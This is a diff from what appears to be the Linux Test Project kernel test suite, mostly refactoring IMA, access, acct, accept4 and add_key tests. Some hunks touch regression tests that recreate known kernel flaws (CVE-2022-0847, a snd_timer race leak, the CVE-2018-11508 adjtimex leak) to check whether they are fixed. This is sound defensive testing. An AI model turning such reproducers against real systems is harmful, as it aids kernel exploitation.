SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&pattern_buf, .size = 4096}, + {&read_buf, .size = 4096}, + {}, + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "9d2231c5d74e"}, + {"CVE", "CVE-2022-0847"}, + {}, + } +}; diff --git a/testcases/kernel/security/filecaps/filecaps_common.h b/testcases/kernel/security/filecaps/filecaps_common.h index 920f6ac6..0f011868 100755 --- a/testcases/kernel/security/filecaps/filecaps_common.h +++ b/testcases/kernel/security/filecaps/filecaps_common.h @@ -1,5 +1,6 @@ #include #include +#include static char *fifofile; @@ -9,10 +10,8 @@ static const char *get_caps_fifo(void) fifofile = getenv("FIFOFILE"); if (!fifofile) { - const char *tmpdir = getenv("TMPDIR"); + const char *tmpdir = tst_get_tmpdir_root(); - if (!tmpdir) - tmpdir = "/tmp"; fifofile = malloc(PATH_MAX); snprintf(fifofile, PATH_MAX, "%s/caps_fifo", tmpdir); } diff --git a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c index 05c20e5a..62468e0d 100755 --- a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c +++ b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c @@ -125,7 +125,7 @@ static void do_test(void) static struct tst_option options[] = { {"d", &debug, "Enable debug"}, {"f:", &file, "binary_bios_measurement file (required)\n"}, - {NULL, NULL, NULL} + {} }; static struct tst_test test = { diff --git a/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh b/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh index dd601b84..12b2a28c 100755 --- a/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh +++ b/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh @@ -8,9 +8,7 @@ TST_SETUP="setup" TST_CLEANUP="cleanup" -TST_NEEDS_DEVICE=1 TST_CNT=4 -. ima_setup.sh setup() { @@ -91,4 +89,5 @@ cleanup() TST_MNT_PARAMS="$params_backup" } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh b/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh index 095028e1..b59f330c 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh @@ -11,9 +11,6 @@ TST_NEEDS_CMDS="cat chgrp chown id sg sudo" TST_CNT=1 -TST_NEEDS_DEVICE=1 - -. ima_setup.sh verify_measurement() { @@ -63,4 +60,5 @@ test1() verify_measurement fgroup } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh b/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh index 30bbd066..62f05f53 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh @@ -10,11 +10,8 @@ TST_NEEDS_CMDS="grep kexec sed" TST_CNT=3 -TST_NEEDS_DEVICE=1 TST_SETUP="setup" -. ima_setup.sh - IMA_KEXEC_IMAGE="${IMA_KEXEC_IMAGE:-/boot/vmlinuz-$(uname -r)}" REQUIRED_POLICY='^measure.*func=KEXEC_CMDLINE' @@ -117,4 +114,5 @@ test() esac } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_keys.sh b/testcases/kernel/security/integrity/ima/tests/ima_keys.sh index 995a55fe..793908d4 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_keys.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_keys.sh @@ -8,12 +8,9 @@ TST_NEEDS_CMDS="cmp cut grep sed" TST_CNT=2 -TST_NEEDS_DEVICE=1 TST_SETUP=setup TST_CLEANUP=cleanup -. ima_setup.sh - FUNC_KEYCHECK='func=KEY_CHECK' REQUIRED_POLICY="^measure.*$FUNC_KEYCHECK" @@ -28,7 +25,6 @@ cleanup() tst_is_num $KEYRING_ID && keyctl clear $KEYRING_ID } - require_valid_policy_template() { while read line; do @@ -145,4 +141,5 @@ test2() fi } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh index 6c184f39..1da2aa6a 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh @@ -9,9 +9,6 @@ TST_NEEDS_CMDS="awk cut sed" TST_SETUP="setup" TST_CNT=3 -TST_NEEDS_DEVICE=1 - -. ima_setup.sh setup() { @@ -93,4 +90,5 @@ test3() EXPECT_FAIL "grep $file $ASCII_MEASUREMENTS" } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh index 8924549d..af1fb002 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh @@ -9,8 +9,6 @@ TST_SETUP="setup" TST_CNT=2 -. ima_setup.sh - setup() { require_policy_writable @@ -75,4 +73,5 @@ test2() fi } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh b/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh index a4eb60b1..f6e39282 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh @@ -11,11 +11,8 @@ TST_NEEDS_CMDS="awk cut grep tail" TST_CNT=2 -TST_NEEDS_DEVICE=1 TST_SETUP="setup" -. ima_setup.sh - FUNC_CRITICAL_DATA='func=CRITICAL_DATA' REQUIRED_POLICY="^measure.*$FUNC_CRITICAL_DATA" @@ -168,4 +165,5 @@ test2() validate_policy_capabilities $measured_data } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh index af7f3a5f..df3fc560 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh @@ -10,12 +10,11 @@ TST_SETUP="ima_setup" TST_CLEANUP_CALLER="$TST_CLEANUP" TST_CLEANUP="ima_cleanup" TST_NEEDS_ROOT=1 +TST_MOUNT_DEVICE=1 -# TST_NEEDS_DEVICE can be unset, therefore specify explicitly +# TST_MOUNT_DEVICE can be unset, therefore specify explicitly TST_NEEDS_TMPDIR=1 -. tst_test.sh - SYSFS="/sys" UMOUNT= TST_FS_TYPE="ext3" @@ -144,15 +143,6 @@ mount_helper() echo $default_dir } -mount_loop_device() -{ - local ret - - tst_mkfs - tst_mount - cd $TST_MNTPOINT -} - print_ima_config() { local config="${KCONFIG_PATH:-/boot/config-$(uname -r)}" @@ -185,9 +175,9 @@ ima_setup() print_ima_config - if [ "$TST_NEEDS_DEVICE" = 1 ]; then + if [ "$TST_MOUNT_DEVICE" = 1 ]; then tst_res TINFO "\$TMPDIR is on tmpfs => run on loop device" - mount_loop_device + cd "$TST_MNTPOINT" fi [ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER @@ -202,11 +192,6 @@ ima_cleanup() for dir in $UMOUNT; do umount $dir done - - if [ "$TST_NEEDS_DEVICE" = 1 ]; then - cd $TST_TMPDIR - tst_umount - fi } set_digest_index() @@ -352,6 +337,8 @@ require_evmctl() # loop device is needed to use only for tmpfs TMPDIR="${TMPDIR:-/tmp}" -if [ "$(df -T $TMPDIR | tail -1 | awk '{print $2}')" != "tmpfs" -a -n "$TST_NEEDS_DEVICE" ]; then - unset TST_NEEDS_DEVICE +if tst_supported_fs -d $TMPDIR -s "tmpfs"; then + unset TST_MOUNT_DEVICE fi + +. tst_test.sh diff --git a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh index 59df20cc..b675a20a 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh @@ -10,8 +10,6 @@ TST_CNT=2 TST_NEEDS_CMDS="awk cut tail" TST_SETUP="setup" -. ima_setup.sh - EVMCTL_REQUIRED='1.3.1' ERRMSG_EVMCTL="=> install evmctl >= $EVMCTL_REQUIRED" ERRMSG_TPM="TPM hardware support not enabled in kernel or no TPM chip found" @@ -296,4 +294,5 @@ test2() fi } +. ima_setup.sh tst_run diff --git a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh index b3151a14..0f710dea 100755 --- a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh +++ b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh @@ -9,10 +9,6 @@ TST_SETUP="setup" TST_CLEANUP="cleanup" TST_CNT=3 -TST_NEEDS_DEVICE=1 - -. ima_setup.sh -. daemonlib.sh setup() { @@ -153,4 +149,6 @@ test3() tst_sleep 2s } +. ima_setup.sh +. daemonlib.sh tst_run diff --git a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c index 369df2b2..20f33527 100755 --- a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c +++ b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c @@ -193,10 +193,6 @@ static void setup(int argc, char *argv[]) tst_require_root(); - if (tst_kvercmp(3, 7, 0) < 0) - tst_brkm(TCONF, NULL, - "Test must be run with kernel 3.7 or newer"); - if (eaccess("/etc/passwd", W_OK)) { tst_brkm(TCONF, NULL, "/etc/passwd is not accessible"); diff --git a/testcases/kernel/sound/snd_seq01.c b/testcases/kernel/sound/snd_seq01.c index c5675223..31038b93 100755 --- a/testcases/kernel/sound/snd_seq01.c +++ b/testcases/kernel/sound/snd_seq01.c @@ -123,7 +123,7 @@ static struct tst_test test = { .tcnt = ARRAY_SIZE(testfunc_list), .setup = setup, .cleanup = cleanup, - .timeout = 120, + .max_runtime = 60, .taint_check = TST_TAINT_W | TST_TAINT_D, .tags = (const struct tst_tag[]) { {"linux-git", "d15d662e89fc"}, diff --git a/testcases/kernel/sound/snd_timer01.c b/testcases/kernel/sound/snd_timer01.c index 51591c18..310169b0 100755 --- a/testcases/kernel/sound/snd_timer01.c +++ b/testcases/kernel/sound/snd_timer01.c @@ -8,7 +8,7 @@ * * The test performs several ioctl() parallel with readv() on the same * file descriptor to /dev/snd/timer. A buggy kernel will leak memory - * to the process, which may contain information from the the kernel or + * to the process, which may contain information from the kernel or * any other process on the system. * * The issue was fixed with @@ -50,15 +50,11 @@ static void *ioctl_thread(void *unused) tp.filter = 0xf; while (tst_fzsync_run_b(&fzsync_pair)) { - + tst_fzsync_start_race_b(&fzsync_pair); ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg); - ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts); - ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp); - ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0); - tst_fzsync_end_race_b(&fzsync_pair); } return unused; @@ -101,8 +97,9 @@ static void run(void) while (tst_fzsync_run_a(&fzsync_pair)) { nz = 0; memset(read_buf, 0, sizeof(read_buf)); - size = readv(snd_fd, &iov, 1); + tst_fzsync_start_race_a(&fzsync_pair); + size = readv(snd_fd, &iov, 1); tst_fzsync_end_race_a(&fzsync_pair); /* check if it could be a valid ioctl result */ @@ -139,6 +136,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, .tags = (const struct tst_tag[]) { {"linux-git", "d11662f4f798"}, {"linux-git", "ba3021b2c79b"}, diff --git a/testcases/kernel/syscalls/accept/accept02.c b/testcases/kernel/syscalls/accept/accept02.c index 12a1e3ca..7cb3d697 100755 --- a/testcases/kernel/syscalls/accept/accept02.c +++ b/testcases/kernel/syscalls/accept/accept02.c @@ -67,6 +67,7 @@ static void *server_thread(void *arg) TEST(setsockopt(clone_server_sockfd, SOL_IP, MCAST_LEAVE_GROUP, mc_group, mc_group_len)); + SAFE_CLOSE(clone_server_sockfd); if (TST_RET != -1) tst_res(TFAIL, "Multicast group was copied!"); diff --git a/testcases/kernel/syscalls/accept4/accept4_01.c b/testcases/kernel/syscalls/accept4/accept4_01.c index 58115ea4..b2f785d0 100755 --- a/testcases/kernel/syscalls/accept4/accept4_01.c +++ b/testcases/kernel/syscalls/accept4/accept4_01.c @@ -22,8 +22,6 @@ #include "lapi/fcntl.h" #include "lapi/syscalls.h" -#define PORT_NUM 33333 - static const char *variant_desc[] = { "libc accept4()", "__NR_accept4 syscall", @@ -54,7 +52,7 @@ static int create_listening_socket(void) memset(&svaddr, 0, sizeof(struct sockaddr_in)); svaddr.sin_family = AF_INET; svaddr.sin_addr.s_addr = htonl(INADDR_ANY); - svaddr.sin_port = htons(PORT_NUM); + svaddr.sin_port = 0; lfd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); @@ -68,14 +66,16 @@ static int create_listening_socket(void) static void setup(void) { + socklen_t slen = sizeof(*conn_addr); + tst_res(TINFO, "Testing variant: %s", variant_desc[tst_variant]); + listening_fd = create_listening_socket(); + memset(conn_addr, 0, sizeof(*conn_addr)); - conn_addr->sin_family = AF_INET; + SAFE_GETSOCKNAME(listening_fd, (struct sockaddr *)conn_addr, &slen); conn_addr->sin_addr.s_addr = htonl(INADDR_LOOPBACK); - conn_addr->sin_port = htons(PORT_NUM); - - listening_fd = create_listening_socket(); + tst_res(TINFO, "server listening on: %d", ntohs(conn_addr->sin_port)); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/access/access01.c b/testcases/kernel/syscalls/access/access01.c index c9a076df..391c8d44 100755 --- a/testcases/kernel/syscalls/access/access01.c +++ b/testcases/kernel/syscalls/access/access01.c @@ -1,11 +1,16 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * AUTHOR : William Roske + * Copyright (c) Linux Test Project, 2003-2023 + * Author: William Roske */ -/* + +/*\ + * [Description] + * * Basic test for access(2) using F_OK, R_OK, W_OK and X_OK */ + #include #include #include diff --git a/testcases/kernel/syscalls/access/access02.c b/testcases/kernel/syscalls/access/access02.c index bf636f9f..c8fe0d0d 100755 --- a/testcases/kernel/syscalls/access/access02.c +++ b/testcases/kernel/syscalls/access/access02.c @@ -1,21 +1,19 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Guangwen Feng , 2016 + * Copyright (c) Linux Test Project, 2002-2023 + * Ported to LTP: Wayne Boyer */ -/* - * Test Description: - * Verify that access() succeeds to check the existence or read/write/execute - * permissions on a file if the mode argument passed was F_OK/R_OK/W_OK/X_OK. +/*\ + * [Description] * - * Also verify that, access() succeeds to test the accessibility of the file - * referred to by symbolic link if the pathname points to a symbolic link. + * Test access(2) syscall * - * As well as verify that, these test files can be - * stat/read/written/executed indeed as root and nobody respectively. - * - * Ported to LTP: Wayne Boyer - * 06/2016 Modified by Guangwen Feng + * - check the existence or read/write/execute permissions on a file (mode argument: F_OK/R_OK/W_OK/X_OK) + * - test the accessibility of the file referred to by symbolic link if the pathname points to a symbolic link + * - file can be stat/read/written/executed as root and nobody */ #include diff --git a/testcases/kernel/syscalls/access/access03.c b/testcases/kernel/syscalls/access/access03.c index ae3f676b..7cae1ec2 100755 --- a/testcases/kernel/syscalls/access/access03.c +++ b/testcases/kernel/syscalls/access/access03.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * Copyright (c) Linux Test Project, 2003-2023 */ -/* +/*\ + * [Description] + * * access(2) test for errno(s) EFAULT as root and nobody respectively. */ diff --git a/testcases/kernel/syscalls/access/access04.c b/testcases/kernel/syscalls/access/access04.c index 2d6dd70e..b5764a5d 100755 --- a/testcases/kernel/syscalls/access/access04.c +++ b/testcases/kernel/syscalls/access/access04.c @@ -2,26 +2,27 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2013 Fujitsu Ltd. + * Copyright (c) Linux Test Project, 2003-2023 + * Ported to LTP: Wayne Boyer + * 11/2013 Ported by Xiaoguang Wang + * 11/2016 Modified by Guangwen Feng */ -/* - * Verify that, - * 1) access() fails with -1 return value and sets errno to EINVAL - * if the specified access mode argument is invalid. - * 2) access() fails with -1 return value and sets errno to ENOENT - * if the specified file doesn't exist (or pathname is NULL). - * 3) access() fails with -1 return value and sets errno to ENAMETOOLONG - * if the pathname size is > PATH_MAX characters. - * 4) access() fails with -1 return value and sets errno to ENOTDIR - * if a component used as a directory in pathname is not a directory. - * 5) access() fails with -1 return value and sets errno to ELOOP - * if too many symbolic links were encountered in resolving pathname. - * 6) access() fails with -1 return value and sets errno to EROFS - * if write permission was requested for files on a read-only file system. +/*\ + * [Description] * - * Ported to LTP: Wayne Boyer - * 11/2013 Ported by Xiaoguang Wang - * 11/2016 Modified by Guangwen Feng + * - access() fails with -1 return value and sets errno to EINVAL + * if the specified access mode argument is invalid. + * - access() fails with -1 return value and sets errno to ENOENT + * if the specified file doesn't exist (or pathname is NULL). + * - access() fails with -1 return value and sets errno to ENAMETOOLONG + * if the pathname size is > PATH_MAX characters. + * - access() fails with -1 return value and sets errno to ENOTDIR + * if a component used as a directory in pathname is not a directory. + * - access() fails with -1 return value and sets errno to ELOOP + * if too many symbolic links were encountered in resolving pathname. + * - access() fails with -1 return value and sets errno to EROFS + * if write permission was requested for files on a read-only file system. */ #include @@ -39,26 +40,32 @@ #define SNAME1 "symlink1" #define SNAME2 "symlink2" #define MNT_POINT "mntpoint" +#define LONGPATHSIZE (PATH_MAX + 2) static uid_t uid; -static char longpathname[PATH_MAX + 2]; +static char *longpathname; +static char *fname1; +static char *fname2; +static char *sname1; +static char *empty_fname; +static char *mnt_point; static struct tcase { - const char *pathname; + char **pathname; int mode; int exp_errno; } tcases[] = { - {FNAME1, -1, EINVAL}, - {"", W_OK, ENOENT}, - {longpathname, R_OK, ENAMETOOLONG}, - {FNAME2, R_OK, ENOTDIR}, - {SNAME1, R_OK, ELOOP}, - {MNT_POINT, W_OK, EROFS} + {&fname1, -1, EINVAL}, + {&empty_fname, W_OK, ENOENT}, + {&longpathname, R_OK, ENAMETOOLONG}, + {&fname2, R_OK, ENOTDIR}, + {&sname1, R_OK, ELOOP}, + {&mnt_point, W_OK, EROFS} }; static void access_test(struct tcase *tc, const char *user) { - TST_EXP_FAIL(access(tc->pathname, tc->mode), tc->exp_errno, + TST_EXP_FAIL(access(*tc->pathname, tc->mode), tc->exp_errno, "access as %s", user); } @@ -86,7 +93,8 @@ static void setup(void) uid = pw->pw_uid; - memset(longpathname, 'a', sizeof(longpathname) - 1); + memset(longpathname, 'a', LONGPATHSIZE - 1); + longpathname[LONGPATHSIZE-1] = 0; SAFE_TOUCH(FNAME1, 0333, NULL); SAFE_TOUCH(DNAME, 0644, NULL); @@ -103,4 +111,13 @@ static struct tst_test test = { .mntpoint = MNT_POINT, .setup = setup, .test = verify_access, + .bufs = (struct tst_buffers []) { + {&fname1, .str = FNAME1}, + {&fname2, .str = FNAME2}, + {&sname1, .str = SNAME1}, + {&empty_fname, .str = ""}, + {&longpathname, .size = LONGPATHSIZE}, + {&mnt_point, .str = MNT_POINT}, + {} + } }; diff --git a/testcases/kernel/syscalls/acct/acct01.c b/testcases/kernel/syscalls/acct/acct01.c index 254d7b50..52c4d41d 100755 --- a/testcases/kernel/syscalls/acct/acct01.c +++ b/testcases/kernel/syscalls/acct/acct01.c @@ -27,17 +27,25 @@ #define DIR_MODE (S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \ S_IXGRP|S_IROTH|S_IXOTH) #define FILE_EISDIR "." -#define FILE_EACCES "/dev/null" +#define FILE_EACCESS "/dev/null" #define FILE_ENOENT "/tmp/does/not/exist" #define FILE_ENOTDIR "./tmpfile/" -#define TEST_TMPFILE "./tmpfile" -#define TEST_ELOOP "test_file_eloop1" -#define TEST_ENAMETOOLONG nametoolong -#define TEST_EROFS "mntpoint/file" +#define FILE_TMPFILE "./tmpfile" +#define FILE_ELOOP "test_file_eloop1" +#define FILE_EROFS "ro_mntpoint/file" -static char nametoolong[PATH_MAX+2]; static struct passwd *ltpuser; +static char *file_eisdir; +static char *file_eaccess; +static char *file_enoent; +static char *file_enotdir; +static char *file_tmpfile; +static char *file_eloop; +static char *file_enametoolong; +static char *file_erofs; +static char *file_null; + static void setup_euid(void) { SAFE_SETEUID(ltpuser->pw_uid); @@ -49,21 +57,21 @@ static void cleanup_euid(void) } static struct test_case { - char *filename; - char *exp_errval; + char **filename; + char *desc; int exp_errno; void (*setupfunc) (); void (*cleanfunc) (); } tcases[] = { - {FILE_EISDIR, "EISDIR", EISDIR, NULL, NULL}, - {FILE_EACCES, "EACCES", EACCES, NULL, NULL}, - {FILE_ENOENT, "ENOENT", ENOENT, NULL, NULL}, - {FILE_ENOTDIR, "ENOTDIR", ENOTDIR, NULL, NULL}, - {TEST_TMPFILE, "EPERM", EPERM, setup_euid, cleanup_euid}, - {NULL, "EPERM", EPERM, setup_euid, cleanup_euid}, - {TEST_ELOOP, "ELOOP", ELOOP, NULL, NULL}, - {TEST_ENAMETOOLONG, "ENAMETOOLONG", ENAMETOOLONG, NULL, NULL}, - {TEST_EROFS, "EROFS", EROFS, NULL, NULL}, + {&file_eisdir, FILE_EISDIR, EISDIR, NULL, NULL}, + {&file_eaccess, FILE_EACCESS, EACCES, NULL, NULL}, + {&file_enoent, FILE_ENOENT, ENOENT, NULL, NULL}, + {&file_enotdir, FILE_ENOTDIR, ENOTDIR, NULL, NULL}, + {&file_tmpfile, FILE_TMPFILE, EPERM, setup_euid, cleanup_euid}, + {&file_null, "NULL", EPERM, setup_euid, cleanup_euid}, + {&file_eloop, FILE_ELOOP, ELOOP, NULL, NULL}, + {&file_enametoolong, "aaaa...", ENAMETOOLONG, NULL, NULL}, + {&file_erofs, FILE_EROFS, EROFS, NULL, NULL}, }; static void setup(void) @@ -76,10 +84,10 @@ static void setup(void) ltpuser = SAFE_GETPWNAM("nobody"); - fd = SAFE_CREAT(TEST_TMPFILE, 0777); + fd = SAFE_CREAT(FILE_TMPFILE, 0777); SAFE_CLOSE(fd); - TEST(acct(TEST_TMPFILE)); + TEST(acct(FILE_TMPFILE)); if (TST_RET == -1) tst_brk(TBROK | TTERRNO, "acct failed unexpectedly"); @@ -89,11 +97,11 @@ static void setup(void) tst_brk(TBROK | TTERRNO, "acct(NULL) failed"); /* ELOOP SETTING */ - SAFE_SYMLINK(TEST_ELOOP, "test_file_eloop2"); - SAFE_SYMLINK("test_file_eloop2", TEST_ELOOP); + SAFE_SYMLINK(FILE_ELOOP, "test_file_eloop2"); + SAFE_SYMLINK("test_file_eloop2", FILE_ELOOP); - /* ENAMETOOLONG SETTING */ - memset(nametoolong, 'a', PATH_MAX+1); + memset(file_enametoolong, 'a', PATH_MAX+1); + file_enametoolong[PATH_MAX+1] = 0; } static void verify_acct(unsigned int nr) @@ -103,31 +111,29 @@ static void verify_acct(unsigned int nr) if (tcase->setupfunc) tcase->setupfunc(); - TEST(acct(tcase->filename)); + TST_EXP_FAIL(acct(*tcase->filename), tcase->exp_errno, + "acct(%s)", tcase->desc); if (tcase->cleanfunc) tcase->cleanfunc(); - - if (TST_RET != -1) { - tst_res(TFAIL, "acct(%s) succeeded unexpectedly", - tcase->filename); - return; - } - - if (TST_ERR == tcase->exp_errno) { - tst_res(TPASS | TTERRNO, "acct() failed as expected"); - } else { - tst_res(TFAIL | TTERRNO, - "acct() failed, expected: %s", - tst_strerrno(tcase->exp_errno)); - } } static struct tst_test test = { .needs_root = 1, - .mntpoint = "mntpoint", + .mntpoint = "ro_mntpoint", .needs_rofs = 1, .tcnt = ARRAY_SIZE(tcases), .setup = setup, .test = verify_acct, + .bufs = (struct tst_buffers []) { + {&file_eisdir, .str = FILE_EISDIR}, + {&file_eaccess, .str = FILE_EACCESS}, + {&file_enoent, .str = FILE_ENOENT}, + {&file_enotdir, .str = FILE_ENOTDIR}, + {&file_tmpfile, .str = FILE_TMPFILE}, + {&file_eloop, .str = FILE_ELOOP}, + {&file_enametoolong, .size = PATH_MAX+2}, + {&file_erofs, .str = FILE_EROFS}, + {} + } }; diff --git a/testcases/kernel/syscalls/add_key/add_key05.c b/testcases/kernel/syscalls/add_key/add_key05.c index 2be1b701..74b0b54d 100755 --- a/testcases/kernel/syscalls/add_key/add_key05.c +++ b/testcases/kernel/syscalls/add_key/add_key05.c @@ -34,10 +34,15 @@ static void add_user(char n) { char username[] = "ltp_add_key05_n"; const char *const cmd_useradd[] = {"useradd", username, NULL}; + const char *const cmd_userdel[] = {"userdel", "-r", username, NULL}; + const char *const cmd_groupdel[] = {"groupdel", username, NULL}; struct passwd *pw; username[sizeof(username) - 2] = '0' + n; + tst_cmd(cmd_userdel, NULL, "/dev/null", TST_CMD_PASS_RETVAL); + tst_cmd(cmd_groupdel, NULL, "/dev/null", TST_CMD_PASS_RETVAL); + SAFE_CMD(cmd_useradd, NULL, NULL); pw = SAFE_GETPWNAM(username); ltpuser[(unsigned int)n] = pw->pw_uid; @@ -202,13 +207,6 @@ static void do_test(unsigned int n) return; } -static void setup(void) -{ - SAFE_FILE_PRINTF("/proc/sys/kernel/keys/gc_delay", "1"); - SAFE_FILE_PRINTF("/proc/sys/kernel/keys/maxkeys", "200"); - SAFE_FILE_PRINTF("/proc/sys/kernel/keys/maxbytes", "20000"); -} - static void cleanup(void) { while (usern--) @@ -220,13 +218,15 @@ static struct tst_test test = { .tcnt = 2, .needs_root = 1, .forks_child = 1, - .setup = setup, .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/proc/sys/kernel/keys/gc_delay", - "?/proc/sys/kernel/keys/maxkeys", - "?/proc/sys/kernel/keys/maxbytes", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/keys/gc_delay", "1", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/proc/sys/kernel/keys/maxkeys", "200", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/proc/sys/kernel/keys/maxbytes", "20000", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} }, .bufs = (struct tst_buffers []) { {&user_buf, .size = 64}, @@ -235,6 +235,7 @@ static struct tst_test test = { .needs_cmds = (const char *const []) { "useradd", "userdel", + "groupdel", NULL }, .tags = (const struct tst_tag[]) { diff --git a/testcases/kernel/syscalls/adjtimex/adjtimex02.c b/testcases/kernel/syscalls/adjtimex/adjtimex02.c index 747d8325..e66ba2a5 100755 --- a/testcases/kernel/syscalls/adjtimex/adjtimex02.c +++ b/testcases/kernel/syscalls/adjtimex/adjtimex02.c @@ -14,11 +14,6 @@ * - EFAULT with SET_MODE and invalid timex pointer * - EINVAL with ADJ_TICK greater than max tick * - EINVAL with ADJ_TICK smaller than min tick - * - * On kernels older than 2.6.26: - * - * - EINVAL with AJD_OFFSET smaller than min offset - * - EINVAL with AJD_OFFSET greater than max offset */ #include @@ -57,8 +52,6 @@ static struct test_case { {.modes = SET_MODE, .exp_err = EFAULT}, {.modes = ADJ_TICK, .lowlimit = 900000, .delta = 1, .exp_err = EINVAL}, {.modes = ADJ_TICK, .highlimit = 1100000, .delta = 1, .exp_err = EINVAL}, - {.modes = ADJ_OFFSET, .highlimit = 512000L, .delta = 1, .exp_err = EINVAL}, - {.modes = ADJ_OFFSET, .lowlimit = -512000L, .delta = -1, .exp_err = EINVAL}, }; static struct test_variants @@ -93,12 +86,6 @@ static void verify_adjtimex(unsigned int i) if (tc[i].highlimit) buf->tick = tc[i].highlimit + tc[i].delta; } - if (tc[i].modes == ADJ_OFFSET && (tst_kvercmp(2, 6, 25) > 0)) { - if (tc[i].lowlimit || tc[i].highlimit) { - tst_res(TCONF, "Newer kernels normalize offset value outside range"); - return; - } - } } if (tc[i].exp_err == EFAULT) { diff --git a/testcases/kernel/syscalls/adjtimex/adjtimex03.c b/testcases/kernel/syscalls/adjtimex/adjtimex03.c index 333cabf1..7056973c 100755 --- a/testcases/kernel/syscalls/adjtimex/adjtimex03.c +++ b/testcases/kernel/syscalls/adjtimex/adjtimex03.c @@ -1,14 +1,16 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) Zilogic Systems Pvt. Ltd, 2020. All Rights Reserved. - * Email: + * Copyright (c) Zilogic Systems Pvt. Ltd , 2020 + * Copyright (c) Linux Test Project, 2021-2023 * * Based on testcases/kernel/syscalls/adjtimex/adjtimex01.c * Copyright (c) Wipro Technologies Ltd, 2002. + */ + +/*\ + * [Description] * - * CVE-2018-11508 - * - * Test 4-byte kernel data leak via adjtimex + * CVE-2018-11508: Test 4-byte kernel data leak via adjtimex. * * On calling the adjtimex() function call with invalid mode (let's say * 0x8000), ideally all the parameters should return with null data. But, @@ -64,6 +66,7 @@ void verify_adjtimex(void) break; } } + if (data_leak != 0) tst_res(TFAIL, "Data leak observed"); else diff --git a/testcases/kernel/syscalls/alarm/alarm02.c b/testcases/kernel/syscalls/alarm/alarm02.c index 94239060..fcf70c5f 100755 --- a/testcases/kernel/syscalls/alarm/alarm02.c +++ b/testcases/kernel/syscalls/alarm/alarm02.c @@ -1,17 +1,18 @@ // 